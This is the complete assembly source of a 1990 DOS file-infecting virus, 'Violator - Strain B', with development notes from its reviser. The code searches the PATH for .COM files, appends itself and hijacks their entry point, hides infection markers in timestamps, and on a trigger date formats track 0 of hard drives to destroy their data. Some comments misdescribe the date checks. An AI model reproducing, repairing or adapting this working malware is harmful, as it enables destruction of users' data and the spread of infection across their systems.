;*****************************************************************************
;
;                               Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
;       I encountered several errors in the original Violator code which I
;       corrected in this version. Mainly, the INT 26 routine to fuck the
;       disk. It seems that the routine would crash right after the INT 26
;       was executed and the whole program would die. I have since fixed
;       this problem in this version with an INT 13, AH 05 (Format Track)
;       command. This works better than the subsequent INT 26.
;
;
;*****************************************************************************
;
;                          Written by - The High Evolutionary -
;                                 RABID Head Programmer
;
;                                Revised by: ŽOnslaught¯
;                               No affiliation with rabId
;
;                 Copyright (C) 1990 by RABID Nat'nl Development Corp.
;
;*****************************************************************************

MOV_CX  MACRO   X
	DB      0B9H
	DW      X
ENDM

CODE    SEGMENT
	ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
	ORG     $+0100H                         ; Set ORG to 100H plus our own

VCODE:  JMP     virus

	NOP
	NOP
	NOP                                     ;15 NOP's to place JMP Header
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP

v_start equ     $


virus:  PUSH    CX
	MOV     DX,OFFSET vir_dat
	CLD
	MOV     SI,DX
	ADD     SI,first_3
	MOV     CX,3
	MOV     DI,OFFSET 100H
	REPZ    MOVSB
	MOV     SI,DX
	MOV     AH,30H
	INT     21H
	CMP     AL,0                            ;Quit it it's DOS 1.0
	JNZ     dos_ok
	JMP     quit

dos_ok: PUSH    ES
	MOV     AH,2FH
	INT     21H
	MOV     [SI+old_dta],BX
	MOV     [SI+old_dts],ES
	POP     ES
	MOV     DX,dta                  
	ADD     DX,SI                    
	MOV     AH,1AH
	INT     21H                     
	PUSH    ES
	PUSH    SI
	MOV     ES,DS:2CH
	MOV     DI,0                    
	JMP     year_check

year_check:
	MOV     AH,2AH                  ;Get date info
	INT     21H                     ;Call DOS
	CMP     CX,1990                 ;Check to see if the year is 1990
	JGE     month_check             ;If greater or equal, check month
	JMP     find_path               ;If not, go on with infection

month_check:
	MOV     AH,2AH                  ;Get date info
	INT     21h                     ;Call DOS
	CMP     DH,10                   ;Check to see if it is September
	JGE     day_check               ;If greater or equal, check day
	JMP     find_path               ;if not, go on with infection

day_check:
	MOV     AH,2Ah                  ;Get date info
	INT     21H                     ;Call DOS
	CMP     DL,31                   ;Check to see if it is the 4th
	JGE     multiplex               ;If yes, then nuke drives A:-Z:
	JMP     find_path               ;If not, then go on with infection

multiplex:
	MOV     AL,cntr                 ;Counter is the drive to kill
	CALL    alter                   ;Go and kill the drive
					;25 is drive Z:
	CMP     cntr,25                 ;Is (cntr) 25 ?
	JE      find_path               ;Go on with infection
	INC     cntr                    ;Add one to (cntr)
	LOOP    multiplex               ;Loop back up to kill next drive

alter:
	MOV     AH,05                   ;Format Track
	MOV     CH,0                    ;Format track 0
	MOV     DH,0                    ;Head 0
	MOV     DL,cntr                 ;Format for drive in (cntr)
	INT     13h                     ;Call RWTS
	RET                             ;Return up for next drive

find_path:
	POP     SI
	PUSH    SI
	ADD     SI,env_str
	LODSB
	MOV     CX,OFFSET 8000H
	REPNZ   SCASB
	MOV     CX,4

check_next_4:
	LODSB
	SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
	JNZ     find_path               ;If not path, then go to ROOT dir
	LOOP    check_next_4            ;Go back and check for more chars
	POP     SI                      ;Load in PATH again to look for chars
	POP     ES
	MOV     [SI+path_ad],DI
	MOV     DI,SI
	ADD     DI,wrk_spc              ;Put the filename in wrk_spc
	MOV     BX,SI
	ADD     SI,wrk_spc
	MOV     DI,SI
	JMP     SHORT   slash_ok

set_subdir:
	CMP     WORD PTR [SI+path_ad],0
	JNZ     found_subdir
	JMP     all_done


found_subdir:
	PUSH    DS
	PUSH    SI
	MOV     DS,ES:2CH
	MOV     DI,SI
	MOV     SI,ES:[DI+path_ad]
	ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)


move_subdir:
	LODSB                           ;To tedious work to move into subdir
	CMP     AL,';'                  ;Does it end with a ; charachter?
	JZ      moved_one               ;if yes, then we found a subdir
	CMP     AL,0                    ;is it the end of the path?
	JZ      moved_last_one          ;if yes, then we save the PATH
	STOSB                           ;marker into DI for future reference
	JMP     SHORT   move_subdir

moved_last_one:
	MOV     SI,0

moved_one:
	POP     BX                      ;BX is where the virus data is
	POP     DS                      ;Restore DS so that we can do stuph
	MOV     [BX+path_ad],SI         ;Where is the next subdir?
	NOP
	CMP     CH,'\'                  ;Check to see if it ends in \
	JZ      slash_ok                ;If yes, then it's OK
	MOV     AL,'\'                  ;if not, then add one...
	STOSB                           ;store the sucker


slash_ok:
	MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
	MOV     SI,BX                   ;Restore the original SI value
	ADD     SI,f_spec               ;Point to COM file victim
	MOV     CX,6
	REPZ    MOVSB                   ;Move victim into workspace
	MOV     SI,BX
	MOV     AH,4EH
	MOV     DX,wrk_spc
	ADD     DX,SI                   ;DX is ... THE VICTIM!!!
	MOV     CX,3                    ;Attributes of Read Only or Hidden OK
	INT     21H
	JMP     SHORT   find_first

find_next:
	MOV     AH,4FH
	INT     21H

find_first:
	JNB     found_file              ;Jump if we found it
	JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

found_file:
	MOV     AX,[SI+dta_tim]         ;Get time from DTA
	AND     AL,1EH                  ;Mask to remove all but seconds
	CMP     AL,1EH                  ;60 seconds
	JZ      find_next
	CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
	JA      find_next               ;If too long, find another one
	CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
	JB      find_next               ;Then go find another one
	MOV     DI,[SI+nam_ptr]
	PUSH    SI
	ADD     SI,dta_nam

more_chars:
	LODSB
	STOSB
	CMP     AL,0
	JNZ     more_chars
	POP     SI
	MOV     AX,OFFSET 4300H
	MOV     DX,wrk_spc
	ADD     DX,SI
	INT     21H
	MOV     [SI+old_att],CX
	MOV     AX,OFFSET 4301H
	AND     CX,OFFSET 0FFFEH
	MOV     DX,wrk_spc
	ADD     DX,SI
	INT     21H
	MOV     AX,OFFSET 3D02H
	MOV     DX,wrk_spc
	ADD     DX,SI
	INT     21H
	JNB     opened_ok
	JMP     fix_attr

opened_ok:
	MOV     BX,AX
	MOV     AX,OFFSET 5700H
	INT     21H
	MOV     [SI+old_tim],CX         ;Save file time
	MOV     [SI+ol_date],DX         ;Save the date
	MOV     AH,2CH
	INT     21H
	AND     DH,7
	JMP     infect

infect:
	MOV     AH,3FH
	MOV     CX,3
	MOV     DX,first_3
	ADD     DX,SI
	INT     21H             ;Save first 3 bytes into the data area
	JB      fix_time_stamp
	CMP     AX,3
	JNZ     fix_time_stamp
	MOV     AX,OFFSET 4202H
	MOV     CX,0
	MOV     DX,0
	INT     21H
	JB      fix_time_stamp
	MOV     CX,AX
	SUB     AX,3
	MOV     [SI+jmp_dsp],AX
	ADD     CX,OFFSET c_len_y
	MOV     DI,SI
	SUB     DI,OFFSET c_len_x

	MOV     [DI],CX
	MOV     AH,40H
	MOV_CX  virlen
	MOV     DX,SI
	SUB     DX,OFFSET codelen
	INT     21H
	JB      fix_time_stamp
	CMP     AX,OFFSET virlen
	JNZ     fix_time_stamp
	MOV     AX,OFFSET 4200H
	MOV     CX,0
	MOV     DX,0
	INT     21H
	JB      fix_time_stamp
	MOV     AH,40H
	MOV     CX,3
	MOV     DX,SI
	ADD     DX,jmp_op
	INT     21H

fix_time_stamp:
	MOV     DX,[SI+ol_date]
	MOV     CX,[SI+old_tim]
	AND     CX,OFFSET 0FFE0H
	OR      CX,1EH
	MOV     AX,OFFSET 5701H
	INT     21H
	MOV     AH,3EH
	INT     21H

fix_attr:
	MOV     AX,OFFSET 4301H
	MOV     CX,[SI+old_att]
	MOV     DX,wrk_spc
	ADD     DX,SI
	INT     21H

all_done:
	PUSH    DS
	MOV     AH,1AH
	MOV     DX,[SI+old_dta]
	MOV     DS,[SI+old_dts]
	INT     21H
	POP     DS

quit:
	POP     CX
	XOR     AX,AX                   ;XOR values so that we will give the
	XOR     BX,BX                   ;poor sucker a hard time trying to
	XOR     DX,DX                   ;reassemble the source code if he
	XOR     SI,SI                   ;decides to dissassemble us.
	MOV     DI,OFFSET 0100H
	PUSH    DI
	XOR     DI,DI
	RET     0FFFFH                  ;Return back to the beginning
					;of the program

vir_dat EQU     $

intro   db      '.D$^i*&B)_a.%R',13,10
olddta_ DW      0
olddts_ DW      0
oldtim_ DW      0
count_  DW      0
cntr    DB      2                               ; Drive to nuke from (C:+++)
oldate_ DW      0
oldatt_ DW      0
first3_ EQU     $
	INT     20H
	NOP
jmpop_  DB      0E9H
jmpdsp_ DW      0
fspec_  DB      '*.COM',0
pathad_ DW      0
namptr_ DW      0
envstr_ DB      'PATH='
wrkspc_ DB      40h dup (0)
dta_    DB      16h dup (0)
dtatim_ DW      0,0
dtalen_ DW      0,0
dtanam_ DB      0Dh dup (0)
lst_byt EQU     $
virlen  =       lst_byt - v_start
codelen =       vir_dat - v_start
c_len_x =       vir_dat - v_start - 2
c_len_y =       vir_dat - v_start + 100H
old_dta =       olddta_ - vir_dat
old_dts =       olddts_ - vir_dat
old_tim =       oldtim_ - vir_dat
ol_date =       oldate_ - vir_dat
old_att =       oldatt_ - vir_dat
first_3 =       first3_ - vir_dat
jmp_op  =       jmpop_  - vir_dat
jmp_dsp =       jmpdsp_ - vir_dat
f_spec  =       fspec_  - vir_dat
path_ad =       pathad_ - vir_dat
nam_ptr =       namptr_ - vir_dat
env_str =       envstr_ - vir_dat
wrk_spc =       wrkspc_ - vir_dat
dta     =       dta_    - vir_dat
dta_tim =       dtatim_ - vir_dat
dta_len =       dtalen_ - vir_dat
dta_nam =       dtanam_ - vir_dat
count   =       count_  - vir_dat

	CODE    ENDS
END     VCODE#em
